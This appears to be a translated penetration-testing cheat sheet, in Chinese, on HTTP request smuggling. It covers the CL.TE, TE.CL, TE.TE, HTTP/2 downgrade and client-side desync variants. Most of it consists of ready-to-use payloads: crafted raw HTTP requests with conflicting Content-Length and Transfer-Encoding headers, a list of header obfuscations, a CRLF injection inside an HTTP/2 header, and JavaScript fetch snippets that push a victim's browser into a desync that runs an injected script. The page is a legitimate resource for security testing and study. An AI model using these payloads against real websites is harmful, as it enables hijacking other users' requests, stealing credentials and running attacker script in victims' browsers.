跳转至

请求走私 (Request Smuggling)

HTTP 请求走私发生在多个“组件”处理一个请求,但在如何确定请求的开始/结束位置上存在分歧时。这种分歧可用于干扰另一个用户的请求/响应,或者绕过安全控制。它通常由于优先考虑不同的 HTTP 头部(Content-Length 与 Transfer-Encoding)、处理畸形头部的差异(例如是否忽略带有意外空格的头部)、由于从较新协议降级请求,或者由于部分请求超时并应被丢弃的时机差异而发生。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

如果你想手动利用 HTTP 请求走私,你将面临一些问题,尤其是在 TE.CL 漏洞中,你必须为第二个请求(恶意请求)计算块 (chunk) 大小。正如 PortSwigger 所建议的,“手动修复请求走私攻击中的长度字段可能会很棘手。”

CL.TE 漏洞 (CL.TE Vulnerabilities)

前端服务器使用 Content-Length 头部,而后端服务器使用 Transfer-Encoding 头部。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

示例:

POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

TE.CL 漏洞 (TE.CL Vulnerabilities)

前端服务器使用 Transfer-Encoding 头部,而后端服务器使用 Content-Length 头部。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

示例:

POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

⚠ 要使用 Burp Repeater 发送此请求,你首先需要转到 Repeater 菜单并确保未勾选 "Update Content-Length" 选项。你需要在最后的 0 之后包含尾随序列 \r\n\r\n

TE.TE 漏洞 (TE.TE Vulnerabilities)

前端和后端服务器都支持 Transfer-Encoding 头部,但可以通过某种方式混淆头部来诱导其中一台服务器不处理它。

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

HTTP/2 请求走私 (HTTP/2 Request Smuggling)

如果机器将你的 HTTP/2 请求转换为 HTTP/1.1,并且你可以将无效的 content-length 头部、transfer-encoding 头部或换行符 (CRLF) 走私到转换后的请求中,则会发生 HTTP/2 请求走私。如果在 GET 请求中可以在 HTTP/2 头部内隐藏 HTTP/1.1 请求,也会发生 HTTP/2 请求走私。

:method GET
:path /
:authority www.example.com
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com

客户端异步 (Client-Side Desync)

在某些路径上,服务器不期望 POST 请求,并会将它们视为简单的 GET 请求,忽略载荷,例如:

POST / HTTP/1.1
Host: www.example.com
Content-Length: 37

GET / HTTP/1.1
Host: www.example.com

当这本应只是一个请求时,它可能会被视为两个请求。当后端服务器响应两次时,前端服务器将假设只有第一个响应与此请求相关。

为了利用这一点,攻击者可以使用 JavaScript 触发其受害者向易受攻击的网站发送 POST:

fetch('https://www.example.com/', {method: 'POST', body: "GET / HTTP/1.1\r\nHost: www.example.com", mode: 'no-cors', credentials: 'include'} )

这可以被用于:

  • 让易受攻击的网站将受害者的凭据存储在攻击者可以访问的地方
  • 让受害者向网站发送利用程序(例如,针对攻击者无法访问的内部网站,或为了使攻击难以归因)
  • 让受害者像来自该网站一样运行任意 JavaScript

示例

fetch('https://www.example.com/redirect', {
    method: 'POST',
        body: `HEAD /404/ HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
        credentials: 'include',
        mode: 'cors' // 抛出错误而不是跟随重定向
}).catch(() => {
        location = 'https://www.example.com/'
})

此脚本告诉受害者浏览器向 www.example.com/redirect 发送 POST 请求。该请求返回一个被 CORS 阻止的重定向,并导致浏览器通过转到 www.example.com 来执行 catch 块。

www.example.com 现在错误地处理了 POST 正文中的 HEAD 请求,而不是浏览器的 GET 请求,并在回复随后被误解的第三个 (GET /x?x=<script>...) 请求以及最后浏览器的实际 GET 请求之前,返回带有 content-length 的 404 not found。 由于浏览器只发送了一个请求,它接受对 HEAD 请求的响应作为对其 GET 请求的响应,并将第三个和第四个响应解释为响应的正文,从而执行攻击者的脚本。

实验环境 (Labs)

参考资料 (References)